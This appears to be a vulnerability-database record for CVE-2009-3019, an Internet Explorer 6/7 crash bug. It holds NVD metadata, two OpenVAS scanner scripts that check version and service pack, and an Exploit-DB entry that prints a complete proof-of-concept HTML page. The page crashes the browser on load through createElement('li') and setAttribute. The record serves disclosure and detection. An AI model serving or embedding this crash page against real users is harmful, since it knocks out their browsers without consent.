{"id": "CVE-2009-3019", "bulletinFamily": "NVD", "title": "CVE-2009-3019", "description": "Microsoft Internet Explorer 6 on Windows XP SP2 and SP3, and Internet Explorer 7 on Vista, allows remote attackers to cause a denial of service (application crash) via JavaScript code that calls createElement to create an instance of the LI element, and then calls setAttribute to set the value attribute.", "published": "2009-08-31T16:30:00", "modified": "2017-09-19T01:29:00", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3019", "reporter": "cve@mitre.org", "references": ["http://www.exploit-db.com/exploits/9455"], "cvelist": ["CVE-2009-3019"], "type": "cve", "lastseen": "2020-10-03T11:54:16", "edition": 3, "viewCount": 4, "enchantments": {"dependencies": {"references": [{"type": "openvas", "idList": ["OPENVAS:1361412562310800872", "OPENVAS:800872"]}, {"type": "exploitdb", "idList": ["EDB-ID:9455"]}], "modified": "2020-10-03T11:54:16", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2020-10-03T11:54:16", "rev": 2}, "vulnersScore": 5.5}, "cpe": ["cpe:/a:microsoft:internet_explorer:7", "cpe:/a:microsoft:internet_explorer:6"], "affectedSoftware": [{"cpeName": "microsoft:internet_explorer", "name": "microsoft internet explorer", "operator": "eq", "version": "7"}, {"cpeName": "microsoft:internet_explorer", "name": "microsoft internet explorer", "operator": "eq", "version": "6"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:a:microsoft:internet_explorer:7:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:internet_explorer:6:*:*:*:*:*:*:*"], "cwe": ["CWE-94"], "scheme": null, "affectedConfiguration": [{"cpeName": "microsoft:windows_xp", "name": "microsoft windows xp", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_vista", "name": "microsoft windows vista", "operator": "eq", "version": "*"}], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "vulnerable": false}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_xp:*:sp3:*:*:*:*:*:*", "vulnerable": false}], "operator": "OR"}, {"cpe_match": [{"cpe23Uri": "cpe:2.3:a:microsoft:internet_explorer:6:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}], "operator": "AND"}, {"children": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:microsoft:internet_explorer:7:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}, {"cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_vista:*:*:*:*:*:*:*:*", "vulnerable": false}], "operator": "OR"}], "operator": "AND"}]}}

{"openvas": [{"lastseen": "2020-01-08T14:05:32", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-3019"], "description": "This host has Internet Explorer installed and is prone to Denial\n of Service vulnerability.", "modified": "2020-01-07T00:00:00", "published": "2009-09-02T00:00:00", "id": "OPENVAS:1361412562310800872", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310800872", "type": "openvas", "title": "Microsoft Internet Explorer 'li' Element DoS Vulnerability - Sep09", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Microsoft Internet Explorer 'li' Element DoS Vulnerability - Sep09\n#\n# Authors:\n# Sharath S <sharaths@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.800872\");\n script_version(\"2020-01-07T08:11:35+0000\");\n script_tag(name:\"last_modification\", value:\"2020-01-07 08:11:35 +0000 (Tue, 07 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2009-09-02 11:50:45 +0200 (Wed, 02 Sep 2009)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_cve_id(\"CVE-2009-3019\");\n script_bugtraq_id(36070);\n script_name(\"Microsoft Internet Explorer 'li' Element DoS Vulnerability - Sep09\");\n script_xref(name:\"URL\", value:\"http://www.milw0rm.com/exploits/9455\");\n script_xref(name:\"URL\", value:\"http://downloads.securityfocus.com/vulnerabilities/exploits/36070-1.html\");\n script_xref(name:\"URL\", value:\"http://downloads.securityfocus.com/vulnerabilities/exploits/36070-3.txt\");\n script_xref(name:\"URL\", value:\"https://connect.microsoft.com/IE/feedback/ViewFeedback.aspx?FeedbackID=338599\");\n\n script_category(ACT_GATHER_INFO);\n script_tag(name:\"qod_type\", value:\"registry\");\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_family(\"Denial of Service\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_mandatory_keys(\"MS/IE/Version\", \"SMB/WinXP/ServicePack\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation could allow remote attackers can cause the application\n to crash.\");\n\n script_tag(name:\"affected\", value:\"Microsoft, Internet Explorer version 6.x on Windows XP SP2/SP3\");\n\n script_tag(name:\"insight\", value:\"Error exists when application fails to handle a crafted JavaScript code, that\n calls 'createElement' to create an instance of the 'li' element, and then calls 'setAttribute' to set the value attribute.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Internet Explorer version 8 or 8 beta 2.\");\n\n script_tag(name:\"summary\", value:\"This host has Internet Explorer installed and is prone to Denial\n of Service vulnerability.\");\n\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\n\nSP = get_kb_item(\"SMB/WinXP/ServicePack\");\nif((\"Service Pack 3\" >< SP) || (\"Service Pack 2\" >< SP))\n{\n ieVer = get_kb_item(\"MS/IE/Version\");\n if(ieVer =~ \"^6\\..*\"){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n}\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2017-09-29T14:18:00", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-3019"], "description": "This host has Internet Explorer installed and is prone to Denial\n of Service vulnerability.", "modified": "2017-09-27T00:00:00", "published": "2009-09-02T00:00:00", "id": "OPENVAS:800872", "href": "http://plugins.openvas.org/nasl.php?oid=800872", "type": "openvas", "title": "Microsoft Internet Explorer 'li' Element DoS Vulnerability - Sep09", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_ms_ie_li_element_dos_vuln_sep09.nasl 7293 2017-09-27 08:49:48Z cfischer $\n#\n# Microsoft Internet Explorer 'li' Element DoS Vulnerability - Sep09\n#\n# Authors:\n# Sharath S <sharaths@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_impact = \"Successful exploitation could allow remote attackers can cause the application\n to crash.\n Impact Level: Application\";\ntag_affected = \"Microsoft, Internet Explorer version 6.x on Windows XP SP2/SP3\";\ntag_insight = \"Error exists when application fails to handle a crafted JavaScript code, that\n calls 'createElement' to create an instance of the 'li' element, and then\n calls 'setAttribute' to set the value attribute.\";\ntag_solution = \"Upgrade to Internet Explorer version 8 or 8 beta 2\n http://www.microsoft.com/windows/internet-explorer/default.aspx\";\ntag_summary = \"This host has Internet Explorer installed and is prone to Denial\n of Service vulnerability.\";\n\nif(description)\n{\n script_id(800872);\n script_version(\"$Revision: 7293 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-09-27 10:49:48 +0200 (Wed, 27 Sep 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-09-02 11:50:45 +0200 (Wed, 02 Sep 2009)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_cve_id(\"CVE-2009-3019\");\n script_bugtraq_id(36070);\n script_name(\"Microsoft Internet Explorer 'li' Element DoS Vulnerability - Sep09\");\n script_xref(name : \"URL\" , value : \"http://www.milw0rm.com/exploits/9455\");\n script_xref(name : \"URL\" , value : \"http://downloads.securityfocus.com/vulnerabilities/exploits/36070-1.html\");\n script_xref(name : \"URL\" , value : \"http://downloads.securityfocus.com/vulnerabilities/exploits/36070-3.txt\");\n script_xref(name : \"URL\" , value : \"https://connect.microsoft.com/IE/feedback/ViewFeedback.aspx?FeedbackID=338599\");\n\n script_category(ACT_GATHER_INFO);\n script_tag(name:\"qod_type\", value:\"registry\");\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_family(\"Denial of Service\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_mandatory_keys(\"MS/IE/Version\", \"SMB/WinXP/ServicePack\");\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\n\n# Check for XP SP3\nSP = get_kb_item(\"SMB/WinXP/ServicePack\");\nif((\"Service Pack 3\" >< SP) || (\"Service Pack 2\" >< SP))\n{\n # Get for Internet Explorer Version\n ieVer = get_kb_item(\"MS/IE/Version\");\n # Check for IE 6\n if(ieVer =~ \"^6\\..*\"){\n security_message(0);\n }\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-01T10:37:17", "description": "MS Internet Explorer (Javascript SetAttribute) Remote Crash Exploit. CVE-2009-3019. Dos exploit for windows platform", "published": "2009-08-18T00:00:00", "type": "exploitdb", "title": "Microsoft Internet Explorer Javascript SetAttribute Remote Crash Exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2009-3019"], "modified": "2009-08-18T00:00:00", "id": "EDB-ID:9455", "href": "https://www.exploit-db.com/exploits/9455/", "sourceData": "<html>\n <head>\n <title> Irfan Asrar</title>\n </head>\n<body onload=\"c()\">\nSet Attribute Crash : Tested with IE7 Vista\n IE6 XP2\n IE6 XP3\n\n<script type=\"text/javascript\">\n\nfunction c() {\n\nvar li = document.createElement(\"li\");\nli.setAttribute(\"value\", \"1\");\nli.value = \"1\";\n\n}\n\n</script>\n </body>\n</html>\n\n# milw0rm.com [2009-08-18]\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/9455/"}]}